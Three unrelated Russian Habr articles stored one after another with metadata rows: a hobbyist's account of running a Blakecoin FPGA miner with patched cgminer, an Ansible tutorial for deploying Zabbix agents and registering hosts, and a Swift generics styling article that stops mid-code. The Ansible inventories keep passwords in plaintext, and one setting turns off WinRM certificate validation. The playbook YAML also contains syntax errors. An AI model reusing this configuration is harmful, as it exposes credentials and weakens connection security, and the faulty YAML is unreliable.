Я видел, что люди пытаются зарабатывать на криптовалютах. Кто как умеет. Кто-то на все сбережения скупал видеокарты и начинал самостоятельно майнить в гараже. Кто-то вкладывался в облачный майнинг. Кто-то пытается организовать свой пул. Кто-то запустил в производство шоколадные биткоины, а кто-то выпускает минеральную воду:
Я тоже стал изучать, что же такое эти самые биткоины. Когда-то я даже начал свое собственное иследование алгоритма SHA256 и написал статью здесь на хабре "[Можно ли вычислять биткоины быстрее, проще или легче?](https://habrahabr.ru/post/318174/)". Мои исследования алгоритмов хеширования до сих пор продолжаются и еще и близко не завершены… Может быть когда нибудь напишу про это отдельную статью. А сейчас пока вот это..
Я попробовал запустить bitcoin майнер в FPGA. Я понимал, что время уже ушло, но хотелось все же прикоснуться к технологии. Уже в конце прошлого года я вдруг почему-то вспомнил, что у меня совершенно без дела лежит плата Terasic DE10-Standard с ПЛИС Intel Cyclone V 5CSXFC6D6F31C6 — это тот чип, который со встроенным процессором ARM. Я подумал, что было бы интересно запустить какой нибудь альткоин майнер в этой плате. А что? Инвестировать в оборудование мне уже не надо, оно и так есть. Главное, чтобы плата зарабатывала больше, чем потребляет энергии.
Поиск подходящего альткоина был весьма прост. Я искал готовые проекты для FPGA, которые я смогу адаптировать под свою плату. Таковых оказалось не очень много. На самом деле как я понимаю во всем мире есть всего несколько человек, которые делали FPGA проекты и главное публиковали их в открытом доступе, например, на github.
Таким образом, я взял проект [github.com/kramble/FPGA-Blakecoin-Miner](https://github.com/kramble/FPGA-Blakecoin-Miner) и адаптировал его под имеющуюся у меня плату [Марсоход3](https://marsohod.org/howtostart/plata-marsokhod3), а так же адаптировал этот проект для DE10-Standard.
Собственно о том, как я адаптировал [проект для платы Марсоход3 написано здесь](https://marsohod.org/projects/proekty-dlya-platy-marsokhod3/363-blake). Для Cyclone V в принципе все то же самое — только ревизия проекта квартуса blake\_cv, мои исходники [вот](https://github.com/marsohod4you/blake-miner).
К моему сожалению в имеющийся у меня Cyclone V помещается только три хэш функции blake.
Чуть-чуть не хватает емкости ПЛИС до четырех хэшеров. Я запускаю проект на частоте 120МГц и за один такт рабочей частоты вычисляется один хэш blake. Значит производительность моего проекта 120\*3=360MH/sec. Не очень много честно говоря, однако, как я уже сказал, плата у меня уже была, и возвращаеть ее стоимость мне не нужно… Тут еще Quartus говорит, что Fmax=150MHz. Можно попытаться поднять частоту, но боюсь придется ставить кулер, будет гудеть — ну не на столько мне нужны эти крипты, чтоб еще гул в комнате слушать.
Общая задумка проекта такая: плата имеет микросхему у которой есть и ПЛИС и Dual-ARM:
Когда плата стартует, то из U-BOOT первым делом загружается ПЛИС, затем стартует Linux и в нем программа майнинга cgminer. Я сперва думал, что я смогу устроить виртуальный канал связи между ARM и FPGA, и это на самом деле возможно, но так не получилось. Дело в том, что программа майнера cgminer работает с аппаратными майнерами через USB и использует библиотеку libusb. То есть мне проще подключить ПЛИС к Linux системе через преобразователь USB-COM на FTDI, чем городить городушку соединяя ПЛИС на шину ARMа. Я таким уже как-то занимался и [это было не очень просто](https://habrahabr.ru/post/334154/).
Сейчас мой «майнер» выглядит вот так (на Cyclone V поставил радиатор на термопасте, а то сильно греется):
Сказать по правде основные проблемы у меня как раз возникли не с FPGA проектом, а с cgminer.
Проблемы следующие:
1) Какой cgminer брать за основу своей разработки? И связанный с этим вопрос «Куда подключаться, чтобы начать майнить?». А какая связь между этими вопросами? Казалось бы, где тут проблема — бери самый свежий cgminer, какой найдешь. Но позвольте: на github есть 98 форков программы cgminer. Все они чем-то отличаются, какой есть хороший, а какой плохой, какой есть вообще хотя бы рабочий? Вот вам и опенсоурс. Каждый автор чего-то там себе добавлял и исправлял, или ломал… или делал свою монету. Разобраться не просто. Нашел для себя [сайт](https://blakecoin.org/software/), где на одной странице есть ссылка и на github [проект](https://github.com/kR105-zz/cgminer-alt) и на github проект для [FPGA](https://github.com/kramble/FPGA-Blakecoin-Miner). То есть эти два проекта видимо как-то могут и должны пересекаться.
2) Поскольку я взял за основу FPGA проект от автора kramble, то на самом деле, конечно, логично было бы взять его патчи, которые он приложил к своему проекту. Но и тут не без проблем. У него есть патчи к программе cgminer-3.1.1 и cgminer-3.4.3. Я решил, что лучше брать ту, что новее 3.4.3, но только потерял с ней время. Похоже автор начал адаптировать для этой версии, но что-то там не довел до конца и эта версия совсем сырая. Пришлось брать 3.1.1 а это кажется вообще старючая версия.
3) Авторы изменяющие программу cgminer в своих форках для своих альткоинов не следят за правильностью комментариев и именованием функций в коде. Зачастую в коде тут и там встречается слово bitcoin, а сам этот форк cgminer-а уже кажется не может считать для биткоина, а может только в альткоин.
4) Тесты. ГДЕ ТЕСТЫ? Я чего-то не понимаю, как можно делать сложный продукт без тестов? Я их не нашел.
Сказать по правде даже начинать что-то делать было не просто. Представьте себе, что нужно запустить некоторый проект в FPGA, но не очень понятно, что он должен делать, как получать данные, какие данные и в каком виде нужно выдавать результат. К этому FPGA проекту должна прилагаться некоторая программа, которую не известно точно где взять, но она должна обнаружить плату майнера, что-то туда посылать (неизвестно что) и что-то из нее получать. В каком формате, какими блоками, как часто — ничего не известно.
На самом деле, изучая патчи cgminer от kramble я примерно представляю себе как оно должно работать.
В файле usbutils.c прописаны устройства, которые могут рассматриваться как аппаратные внешние майнеры на шине USB:
```
static struct usb_find_devices find_dev[] = {
#ifdef USE_BFLSC
{
.drv = DRV_BFLSC,
.name = "BAS",
.ident = IDENT_BAS,
.idVendor = IDVENDOR_FTDI,
.idProduct = 0x6014,
//.iManufacturer = "Butterfly Labs",
.iProduct = "BitFORCE SHA256 SC",
.kernel = 0,
.config = 1,
.interface = 0,
.timeout = BFLSC_TIMEOUT_MS,
.latency = LATENCY_STD,
.epcount = ARRAY_SIZE(bas_eps),
.eps = bas_eps },
#endif
...
{
.drv = DRV_ICARUS,
.name = "BLT",
.ident = IDENT_BLT,
.idVendor = IDVENDOR_FTDI,
.idProduct = 0x6010,
//.iProduct = "Dual RS232-HS",
.iProduct = "USB <-> Serial Cable",
.kernel = 0,
.config = 1,
.interface = 1,
.timeout = ICARUS_TIMEOUT_MS,
.latency = LATENCY_STD,
.epcount = ARRAY_SIZE(ftdi2232h_eps),
.eps = ftdi2232h_eps },
```
Я в эту структуру добавил описатель своего USB-to-COM преобразователя FTDI-2232H. Теперь, если cgminer обнаружит устройство с VendorId/DeviceId = 0x0403:0x6010, то он попробует работать с этим устройством, как с платой Icarus, хоть она таковой и не является.
Дальше смотрим файл driver-icarus.c и тут есть функция icarus\_detect\_one:
```
static bool icarus_detect_one(struct libusb_device *dev, struct usb_find_devices *found)
{
int this_option_offset = ++option_offset;
struct ICARUS_INFO *info;
struct timeval tv_start, tv_finish;
/* Blakecoin detection hash
N.B. golden_ob MUST take less time to calculate than the timeout set in icarus_open()
0000007002685447273026edebf62cf5e17454f35cc7b1f2da57caeb008cf4fb00000000dad683f2975c7e00a8088275099c69a3c589916aaa9c7c2501d136c1bf78422d5256fbaa1c01d9d1b48b4600000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
{ midstate, data } = { 256'h553bf521cf6f816d21b2e3c660f29469f8b6ae935291176ef5dda6fe442ca6e4, 96'hd1d9011caafb56522d4278bf };
*/
const char golden_ob[] =
// "553bf521cf6f816d21b2e3c660f29469"
// "f8b6ae935291176ef5dda6fe442ca6e4"
// "00000000000000000000000000000000"
// "00000000d1d9011caafb56522d4278bf";
//-----------
"a8c369073d7dc0a63168f5fcf0246e4f"
"eb916bda12787ad1607d2303186ed8f1"
"00000000000000000000000000000000"
"0142b9a0e7b4001cf8b35852a3accab0";
const char golden_nonce[] = "0142b9b1"; //"000187a2";
const uint32_t golden_nonce_val = 0x0142b9b1; //0x000187a2;
unsigned char ob_bin[64];
unsigned char nonce_bin[ICARUS_READ_SIZE];
char *nonce_hex;
int baud, uninitialised_var(work_division), uninitialised_var(fpga_count);
struct cgpu_info *icarus;
int ret, err, amount, tries;
bool ok;
char tmpbuf[256]; //lancelot52
unsigned char* wr_buf = ob_bin;
int bufLen = sizeof(ob_bin);
icarus = usb_alloc_cgpu(&icarus_drv, 1);
if (!usb_init(icarus, dev, found))
goto shin;
usb_buffer_enable(icarus);
get_options(this_option_offset, icarus, &baud, &work_division, &fpga_count);
hex2bin(ob_bin, golden_ob, sizeof(ob_bin));
tries = 2;
ok = false;
while (!ok && tries-- > 0) {
icarus_initialise(icarus, baud);
err = usb_write_ica(icarus, (char *)wr_buf, bufLen, &amount, C_SENDTESTWORK);
if (err != LIBUSB_SUCCESS || amount != bufLen)
continue;
memset(nonce_bin, 0, sizeof(nonce_bin));
ret = icarus_get_nonce(icarus, nonce_bin, &tv_start, &tv_finish, NULL, 500);
```
Смысл такой. Программа передает плате заведомо известное задание на поиск хэша, причем в задании сказано с какого нонсе начинать вычисление и это нонсе немного меньше настоящего GOLDEN nonce. Таким образом, плата начнет считать с указанного места и буквально сразу в считанные доли секунды наткнется на GOLDEN nonce и вернет его. Программа тут же получит этот результат, сравнит его с правильным ответом и сразу становится понятно — это действительно тот HW майнер с которым можно работать или нет.
И вот тут была ужасная проблема — в проекте есть патчи на языке C, есть тестовая программа на питоне и тестбенч для FPGA.
В патчах на C тестовые данные выглядят вот так:
1) патч для cgminer-3.1.1
```
const char golden_ob[] =
"553bf521cf6f816d21b2e3c660f29469"
"f8b6ae935291176ef5dda6fe442ca6e4"
"00000000000000000000000000000000"
"00000000d1d9011caafb56522d4278bf";
const char golden_nonce[] = "00468bb4";
const uint32_t golden_nonce_val = 0x00468bb4;
```
1) патч для cgminer-3.4.3
```
const char golden_ob[] =
"553bf521cf6f816d21b2e3c660f29469"
"f8b6ae935291176ef5dda6fe442ca6e4"
"00000000000000000000000000000000"
"00000000d1d9011caafb56522d4278bf";
const char golden_nonce[] = "000187a2";
const uint32_t golden_nonce_val = 0x000187a2;
```
И что тут правильно, а что нет? Исходные данные одинаковые, а golden nonce объявлен разным!!! Парадокс… (заранее скажу, что в патче для cgminer-3.4.3 ошибка — нонсе 0x000187a2 не верный, а сколько времени я на это потратил..)
В проекте есть тестовая программа на питоне, которая читает текстовый файл, извлекает из него данные и передает в плату через последовательный порт… Там тестовые данные вот такие:
`0000007057711b0d70d8682bd9eace78d4d1b42f82da7d934fac0db4001124d600000000cfb48fb35e8c6798b32e0f08f1dc3b6819faf768e1b23cc4226b944113334cc45255cc1f1c085340967d6c0e000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
0000007057711b0d70d8682bd9eace78d4d1b42f82da7d934fac0db4001124d6000000008fa40da64f312f0fa4ad43e2075558faf4e6d910020709bb1f79d0fe94e0416f5255cc521c085340df6b6e01000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
0000007095696e4529ae6568e4b2a0057a18e82ccf8d370bf87e358900f8ab5000000000253c6078c7245036a36c8e25fb2c1f99c938aeb8fac0be157c3b2fe34da2fa0952587a471c00fa391d2e5b02000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
000000704445e0446fcf2a84c47ce7305722c76507ba74796eaf39fe0007d44d00000000cac961f63513134a82713b172f45c9b5e5eea25d63e27851fac443081f453de1525886fe1c01741184a5c70e000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
00000070a3ac7627ca52f2b9d9a5607ac8212674e50eb8c6fb1219c80061ccd500000000ed5222b4f77e0d1b434e1e1c70608bc5d8cd9d363a59cbeb890f6cd433a6bd8d5258a0141c00b4e770777200000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
000000706c90b789e84044d5be8b2fac01fafe3933ca3735269671e90043f8d900000000d74578c643ab8e267ab58bf117d61bb71a04960a10af9a649c0060cdb0caaca35258b3f81c00b4e7b1b94201000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
00000070171d2644781cccf873ce3b6e54967afda244c47fc963bb240141b4ad00000000d56c4fbdc326e8f672834c8dbca53a087147fe0996d0c3a908a860e3db0589665258da3d1c016a2a14603a0a000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
00000070d03c78cb0bb0b41a5a2c6ce75402e5be8a705a823928a5640011110400000000028fb80785a6310685f66a4e81e8f38800ea389df7f16cf2ffad16bb98e0c4855258dda01c016a2ae026d404000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
0000007091a7eef446c4cb686aff8908ab5539d03a9ab2e975b9fe5700ed4ca9000000000f83bb385440decc66c10c0657fcd05f94c0bc844ebc744bba25b5bc2a7a557b5258e27c1c016a2a6ce1900a000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
00000070856bd0a3fda5dac9ede45137e0c5648d82e64fbe72477f5300e96aec0000000026ca273dbbd919bdd13ba1fcac2106e1f63b70f1f5f5f068dd1da94491ed0aa45258e51b1c017a7644697709000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000`
Ну то есть совершенно другие! Потом я уже понял, что это не те даннае, что посылаются в плату, из этих только извлекаются данные, специальным образом конвертируются в задание и отсылаются в плату.
Но все равно, среди этих тестовых данных для программы на питоне НЕТ задания похожего на то, которое описано в программе на C!!!
Ну хорошо, тогда смотрю тестовую программу-тестбенч на verilog:
```
blakeminer #(.comm_clk_frequency(comm_clk_frequency)) uut
(clk, RxD, TxD, led, extminer_rxd, extminer_txd, dip, TMP_SCL, TMP_SDA, TMP_ALERT);
// TEST DATA (diff=1) NB target, nonce, data, midstate (shifted from the msb/left end) - GENESIS BLOCK
reg [415:0] data = 416'h000007ffffbd9207ffff001e11f35052d554469e3171e6831d493f45254964259bc31bade1b5bb1ae3c327bc54073d19f0ea633b;
// ALSO test starting at -1 and -2 nonce to check for timing issues
// reg [415:0] data = 416'h000007ffffbd9206ffff001e11f35052d554469e3171e6831d493f45254964259bc31bade1b5bb1ae3c327bc54073d19f0ea633b;
// reg [415:0] data = 416'h000007ffffbd9205ffff001e11f35052d554469e3171e6831d493f45254964259bc31bade1b5bb1ae3c327bc54073d19f0ea633b;
reg serial_send = 0;
wire serial_busy;
reg [31:0] data_32 = 0;
reg [31:0] start_cycle = 0;
serial_transmit #(.comm_clk_frequency(comm_clk_frequency), .baud_rate(baud_rate)) sertx (.clk(clk), .TxD(RxD), .send(serial_send), .busy(serial_busy), .word(data_32));
```
Здесь есть предполагаемый пакет данных, который плата должна принять. Но опять этот предполагаемый пакет данных никак не похож на пакет данных в программе на C или на данные для тестовой программы на питоне.
Вот это отсутствие общих тестовых данных для программы на питоне, C и Verilog очень сильно портит картину. Получается, что между компонентами как бы нет общих точек соприкосновения, общих тестов и это печально.
Вообще, в верилог проекте blakecoin майнера было скрыто еще одно форменное издевательство над моим организмом.
Если проводить симуляцию проекта с verilog тестбенчем, то в симуляторе с вот этими тестовыми данными 416'h000007ffffbd9207ffff001e11f35052d5544… замечательно находится и возвращается результат GOLDEN nonce.
Потом проект компилирую для реальной FPGA платы, эти же самые данные подаю из программы на питоне и… плата не находит GOLDEN nonce…
Оказывается, что тестовые данные в verilog тестбенче «немного плохие». Они для низкой сложности, когда в результирующем хэше всего 24 ведущих нуля, а не 32, как требуется.
В файле experimental/LX150-FourPiped/BLAKE\_CORE\_FOURPIPED.v есть вот такой код
```
reg gn_match_d = 1'b0;
always @(posedge clk)
`ifndef SIM
gn_match_d <= (IV7 ^ b76 ^ d74) == 0;
`else
gn_match_d <= (IV7[23:0] ^ b76[23:0] ^ d74[23:0]) == 0;
`endif
```
В Verilog симуляторе проверяется не так, как будет будет работать в железе! То есть для реальной FPGA платы будем проверять на 32 бита ведущих нулей, а в симуляции будем проверять только 24 бита. Это просто прелестно. Хочется побить автора.
Я конечно, все это победил. По крайней мере, тестовая программа на питоне выдает бодрые сообщения:
Ладно, что в результате? Сколько намайнил? К сожалению нисколько.
Как только я был уже готов начать майнить, буквально в конце января сложность блейка сильно возросла:
Теперь я мог оставить на сутки плату и она хоть и находила решения, но их не принимал пул — все еще мало ведущих нулей.
Я пробовал переключиться на другую валюту — VCASH. С этой валютой пул хотя бы иногда выдавал мне бодрящие сообщения вроде вот этого:
Но все равно и VCASH пул ничего не начисляет. Печаль-беда.
Пользуясь случаем хотел бы спросить у знающих людей. Вот у меня есть видеокарта Nvidia 1060. Она выдает 1,25GHash/sec на блейкоине и за час два-три раза выдает nonce, который принимает пул (и начисляет копеечку). Я думал, что если моя FPGA плата считает 360MHash/sec, ну то есть примерно в 3 раза хуже, чем видеокарта, то я за два часа получу хотя бы один нонсе принятый пулом. Однако, этого не происходит. Даже за сутки нет ни одной копеечки… Где тут подвох для меня так и осталось загадка…
Сейчас я на досуге пытаюсь понять можно ли как-то оптимизировать имеющийся FPGA проект, скажем задействовать встроенную память или еще что-то. Может быть, если повезет, что-то и придумаю. | https://habr.com/ru/post/351118/ | null | ru | null |
# Ansible playbook для управления Windows/Linux агентами Zabbix
Данная статья про написание простых ansible плейбуков для автоматической установки агентов на хосты с Linux/Windows и регистрации хостов через API Zabbix, включая SNMP хосты. Будут использоваться готовые роли и модули Ansible Galaxy Zabbix.
Zabbix подготовил собственные роли и модули для конфигурации многих компонентов Zabbix посредством Ansible - полный [список можно найти здесь](https://galaxy.ansible.com/community/zabbix).
В этой статье поговорим только о **zabbix\_agent** и **zabbix\_host**.
*\*Эта статья не рассматривает и не показывает установку и настройку Ansible, этого в интернете полно.*
**zabbix\_agent**
Это роль, которая поддерживает установку агента на следующие операционные системы:
* Red Hat
* Fedora
* Debian
* Ubuntu
* opensuse
* Windows (Best effort)
* macOS
[Актуальный список на официальном github проекта](https://github.com/ansible-collections/community.zabbix/blob/main/docs/ZABBIX_AGENT_ROLE.md#operating-systems).
**zabbix\_host**
Это модуль для добавления/удаления/изменения хостов на сервере zabbix. [Полное описание модуля тут](https://docs.ansible.com/ansible/2.10/collections/community/zabbix/zabbix_host_module.html).
### Итак переходим к настройке
Первым шагом будет установка коллекции ansible ( работает только в ansible версии 2.9+):
```
ansible-galaxy collection install community.zabbix
```
После установки коллекции, создаем файл с плейбуком. Данный плейбук делает две вещи - устанавливает роль community.zabbix.zabbix\_agent на указанные хосты и вторым шагом регистрирует хост в zabbix через модуль community.zabbix.zabbix\_host.
Создаем файл **zabbix-agent-all.yaml** со следующим содержимым:
```
- hosts: linux:windows
tasks:
- name: Install agent
include_role:
name: community.zabbix.zabbix_agent # устанавливает готовую роль на хостах
tags:
- install # для удобства можно использовать тэги
- hosts: localhost # обращаемся к api через модуль с локального хоста
- name: Create a new linux or windows host or update an existing host's info # задача для регистрации агентов в zabbix сервере
local_action:
module: community.zabbix.zabbix_host # используем готовый модуль zabbix_host для регистрации агентов
server_url: "{{ zabbix_url }}" # переменная из инвентаря - url сервера для регистрации API
login_user: "{{ zabbix_api_user }}" # переменная из инвентаря - имя пользователя обычно Admin
login_password: "{{ zabbix_api_pass }}" # переменная из инвентаря - пароль
host_name: "{{ item }}" - # имя хоста из инвентаря
visible_name: "{{ hostvars[item].zabbix_visible_name | default(item) }}" # можно задать отображаемое имя отдельно для каждого хоста
description: "{{ hostvars[item].zabbix_host_description | default('') }} OS: {{ hostvars[item].ansible_distribution | default('') }} {{ hostvars[item].ansible_distribution_version | default('') }}" # берет описание из инвентаря и добавляет название операционной системы и версию из служебных переменных ansible
host_groups: "{{ hostvars[item].zabbix_host_groups }}" # в какую хост группу добавить хост
link_templates: "{{ hostvars[item].zabbix_link_templates }}" # какие template применить к хосту
status: "{{ hostvars[item].zabbix_host_status }}" # статус - Enabled или Disabled
state: present # указание ansible чтобы добавить хост, изменив на absent можно сделать обратную операцию удаления
inventory_mode: disabled # не включаем inventory mode
interfaces: # можно указать несколько интерфейсов
- type: "{{ hostvars[item].zabbix_interface_type }}" # переменная из инвентаря - может быть SNMP, Agent, JMX, IPMI
main: 1
useip: "{{ hostvars[item].zabbix_interface_use_ip }}" # можно использовать добавление по ip или по dns
ip: "{{ hostvars[item].zabbix_interface_ip }}" # если выбрано по ip - берется переменная с ip адресом
dns: "{{ item }}" # если выбрано useip: 0 то нужно указать FQDN хоста в переменных в инвентаре
port: "{{ hostvars[item].zabbix_interface_port }}" # указание порта
with_items:
- "{{ groups['windows'] if groups['windows'] is defined else [] }}" # проходим по хостам в группе windows если указано в инвентаре
- "{{ groups['linux'] if groups['linux'] is defined else [] }}" # проходим по хостам в группе windows если указано в инвентаре
tags:
- add-host # добавляем тэги для удобства
- hosts: localhost # обращаемся к api через модуль с локального хоста
tasks:
- name: Create a new host or update an existing SNMP host's info
local_action:
module: community.zabbix.zabbix_host # используем готовый модуль zabbix_host для регистрации агентов
server_url: "{{ zabbix_url }}" # переменная из инвентаря - url сервера для регистрации API
login_user: "{{ zabbix_api_user }}" # переменная из инвентаря - имя пользователя обычно Admin
login_password: "{{ zabbix_api_pass }}" # переменная из инвентаря - пароль
host_name: "{{ item }}" - # имя хоста из инвентаря
visible_name: "{{ hostvars[item].zabbix_visible_name | default(item) }}" # можно задать отображаемое имя отдельно для каждого хоста
description: "{{ hostvars[item].zabbix_host_description | default('') }} OS: {{ hostvars[item].ansible_distribution | default('') }} {{ hostvars[item].ansible_distribution_version | default('') }}" # берет описание из инвентаря и добавляет название операционной системы и версию из служебных переменных ansible
host_groups: "{{ hostvars[item].zabbix_host_groups }}" # в какую хост группу добавить хост
link_templates: "{{ hostvars[item].zabbix_link_templates }}" # какие template применить к хосту
status: "{{ hostvars[item].zabbix_host_status }}" # статус - Enabled или Disabled
state: present # указание ansible чтобы добавить хост, изменив на absent можно сделать обратную операцию удаления
inventory_mode: disabled # отключаем inventory mode
interfaces:
- type: "{{ hostvars[item].zabbix_interface_type }}" # берем значние из переменных
main: 1
useip: "{{ hostvars[item].zabbix_interface_use_ip }}" # указываем на добавление по ip или dns
ip: "{{ hostvars[item].zabbix_interface_ip }}" # берем значние из переменных
dns: "{{ item }}"
port: "{{ hostvars[item].zabbix_interface_port }}" # берем значние из переменных
details:
community : "{$SNMP_COMMUNITY}" # указываем community
bulk: 1
version: 2 # версия SNMP
macros:
- macro: '{$SNMP_COMMUNITY}' # создаем макрос
value: "{{ hostvars[item].zabbix_snmp_community }}" # берем community из переменных
loop: "{{ groups['snmp'] }}"
when: groups['snmp'] is defined # таска отработает только если запущен скрипт для snmp хостов
tags:
- add-snmp # добавляем тэги для удобств
```
На странице проекта вы сможете найти множество других настроек, например подключение к zabbix сервер через http, изменить версию агента и т.д., [все настройки тут](https://github.com/ansible-collections/community.zabbix/blob/main/docs/ZABBIX_AGENT_ROLE.md#role-variables ).
### Файлы инвентаря
Далее нам нужно создать три файла linux-inventory, windows-inventory и snmp-inventory, можно сделать конечно в одном файле, но мне показалось удобнее разделить агенты по типу.
**Linux хосты**
Содержимое файла linux-inventory:
```
[linux]
host1.local #тут вы указываете ваши хосты по FQDN или IP-адресу
host2.local zabbix_host_description=”The host2 description”
host3.local zabbix_host_status=disabled # можно указать чтобы отключать хосты после добавления
host4.local zabbix_host_groups=’["Custom group"]’ #можно передать группы отдельно для каждого хоста
[linux:vars]
zabbix_agent_server=my.zabbix.server # адрес сервера
zabbix_url=https://my.zabbix.server # URL сервера
zabbix_api_use=true # говорим что будем добавлять через API
zabbix_api_user=Admin
zabbix_api_pass=StrongPa$$w0rd
zabbix_interface_port="10050" # номер порта где живет агент
zabbix_host_groups=["Linux servers"] # в какую группу добавлять хост по умолчанию
zabbix_link_templates=["Linux by Zabbix agent"] # список template для применения по умолчанию
zabbix_interface_type=agent # тип хоста - с использованием агента
zabbix_interface_use_ip="0" # говорим что будем добавлять по dns fqdn
zabbix_interface_ip=""
zabbix_host_description="My linux server" # описание по умолчанию
zabbix_host_status=enabled # состояние хоста по умолчанию
```
**Windows**
Для возможности установки агента на хосты с ОС Windows необходимо сначала настроить доступ для ansible - это вне темы этой статьи, но есть [подробная инструкция на сайте ansible](https://docs.ansible.com/ansible/latest/user_guide/windows_setup.html ).
Содержимое файла windows-inventory:
```
[windows]
winhost01.local
winhost02.local zabbix_host_groups=’["Custom group"]’ #можно передать группы отдельно для каждого хоста
winhost03.local zabbix_host_status=disabled # можно указать чтобы отключать хосты после добавления
[windows:vars]
ansible_user=user@DOMAIN.LOCAL # если хосты в домене необходимо указывать доменный путь, и также настроить kerberos в linux
ansible_password=StrongPa$$w0rd
ansible_connection=winrm # управление windows происходит через службу WinRM
ansible_winrm_server_cert_validation=ignore # если у вашего домена самоподписанные сертификаты, лучше поставить ignore
zabbix_agent_server=my.zabbix.server # адрес сервера
zabbix_url=https://my.zabbix.server # URL сервера
zabbix_api_use=true # говорим что будем добавлять через API
zabbix_api_user=Admin
zabbix_api_pass=StrongPa$$w0rd
zabbix_interface_port="10050" # номер порта где живет агент
zabbix_host_groups=["Windows servers"] # в какую группу добавлять хост по умолчанию
zabbix_link_templates=["Windows by Zabbix agent"] # список template для применения по умолчанию
zabbix_interface_type=agent # тип хоста - с использованием агента
zabbix_interface_use_ip="0" # говорим что будем добавлять по dns fqdn
zabbix_interface_ip=""
zabbix_host_description="My windows server" # описание по умолчанию
zabbix_host_status=enabled # состояние хоста по умолчанию
```
**SNMP**
Для добавления SNMP хостов создаем файл snmp-inventory:
```
[snmp]
snmphost1.local zabbix_link_templates='["Cisco IOS SNMP","Network Generic Device SNMP"]' zabbix_host_groups='["Network devices"]'
snmp2.local zabbix_link_templates='["Template SNMP OS ESXi"]' zabbix_host_groups='["Hypervisors"]' zabbix_snmp_community=”Community”
[snmp:vars]
zabbix_url=https://my.zabbix.server # URL сервера
zabbix_api_use=true # говорим что будем добавлять через API
zabbix_api_user=Admin
zabbix_api_pass=StrongPa$$w0rd
zabbix_interface_port="161" # номер порта устройства, по умолчанию 161
zabbix_interface_type=snmp # тип snmp
zabbix_interface_use_ip="0" # указываем что добавляем по dns
zabbix_interface_ip="" # пустой ip
zabbix_host_description="My SNMP host" # описание по умолчанию
zabbix_host_status=enabled # состояние хоста по умолчанию
zabbix_snmp_community="MyCommunity" # указываем SNMP community
```
В итоге, файлы должны иметь следующую структуру файлов:
```
.
├── linux-inventory
├── snmp-inventory
├── windows-inventory
└── zabbix-agent-all.yaml
```
### Запуск playbook
Для запуска плейбуков, необходимо запустить следующие команды:
Для установки на Linux хостах:
```
ansible-playbook -i linux-inventory zabbix-agent-all.yaml
```
Windows:
```
ansible-playbook -i windows-inventory zabbix-agent-all.yaml
```
SNMP:
```
ansible-playbook -i snmp-inventory zabbix-agent-all.yaml
```
Если нужна только установка, то можно запустить команды выше с тэгом install:
```
ansible-playbook -i linux-inventory zabbix-agent-all.yaml -t install
```
Если у вас есть особые настройки zabbix или вы хотите кастомизировать, полный список переменных роли и модуля можно найти на странице проекта: [zabbix\_agent](https://github.com/ansible-collections/community.zabbix/blob/main/docs/ZABBIX_AGENT_ROLE.md#role-variables) и [zabbix\_host](https://docs.ansible.com/ansible/2.10/collections/community/zabbix/zabbix_host_module.html)
[Все исходники данной статьи есть на github](https://github.com/piccadil/zabbix-agent).
UPDATE: в комментариях указали на ошибку использовать all all:vars, как было сделано изначально, т.к. в статье стремился показать как подключать модули и роли, исправил инвентарь и таски в плейбуке | https://habr.com/ru/post/555458/ | null | ru | null |
# Swift Generics: cтили для UIView и не только #2
Данная публикация является продолжением [выпуска](https://habrahabr.ru/post/327662/), где была затронута тема декорирования объектов. Ознакомление с первой публикацией поможет лучше вникнуть в текущий контекст, т.к. упомянутые ранее термины и решения буду описываться с упрощениями.
Подход получился весьма удачным и был многократно протестирован на реальных проектах. Кроме этого, появились дополнения к подходу и удобство его использования значительно возросло.
Напомню, что основным элементом представленного способа задания стилей является обобщенное замыкание:
```
typealias Decoration = (T) -> Void
```
Использовать данное замыкание для придания свойств `UIView` можно следующим образом:
```
let decoration: Decoration = { (view: UIView) -> Void in
view.backgroundColor = .white
}
let view = UIView()
decoration(view)
```
#### Композиция декораций
Используя оператор сложения и соблюдая порядок применения декораций можно получить механизм композиции декораций:
```
func +(lhs: @escaping Decoration, rhs: @escaping Decoration) -> Decoration {
return { (value: T) -> Void in
lhs(value)
rhs(value)
}
}
```
Складывать можно не только замыкания, принимающие объекты одного класса. Однако, следует учесть, что класс объекта, передаваемого в одно из замыканий, должен быть подклассом объекта, передаваемого в другое замыкание:
```
Decoration + Decoration = Decoration
Decoration + Decoration = Decoration
Decoration + Decoration = нельзя
```
#### Создание декораций
Главным неудобством при создании декорации было написание кода самой конструкции декорации. Приходилось писать тип декорации, замыкание, тип класса внутри замыкания… Чаще всего это заканчивалось CTRL+C, CTRL+V.
Чтобы выйти из ситуации и генерировать замыкание через автокомплит была написана универсальная функция, которая принимала тип объекта:
```
func decor(\_ type: T.Type, closure: @escaping Decoration) -> Decoration {
return closure
}
```
Использовалось это следующим образом:
```
let decoration = decor(UIView.self) { (view) in
view.backgroundColor = .white
}
```
Вот только `self` не автокомплитится и функцию нельзя было назвать `decoration`, т.к. чаще всего замыкание создавать с именем `decoration` и возникала ошибка:
> error: variable used within its own initial value
>
> let decoration = decoration(UIView.self) { (view) in
Более удачным решением стало создание универсальной `static` функции:
```
protocol Decorable: class {}
extension NSObject: Decorable {}
extension Decorable {
static func decoration(closure: @escaping Decoration) -> Decoration {
return closure
}
}
```
Создавать декорирующее замыкание в итоге можно следующим образом:
```
let decoration = UIView.decoration { (view) in
view.backgroundColor = .white
}
```
#### Состояние
```
class MyView: UIView {
var isDisabled: Bool = false
var isFavorite: Bool = false
var isSelected: Bool = false
}
```
Чаще всего сочетание подобных переменных применяется лишь для того, чтобы изменить стиль конкретного `UIView`.
Если попытаться описать состояние стиля `UIView` одной переменной, то можно использовать перечисления. Однако, еще лучше подойдет `OptionSet`, который позволяет предусмотреть сочетания.
```
struct MyViewState: OptionSet, Hashable {
let rawValue: Int
init(rawValue: Int) {
self.rawValue = rawValue
}
static let normal = MyViewState(rawValue: 1 << 0)
static let disabled = MyViewState(rawValue: 1 << 1)
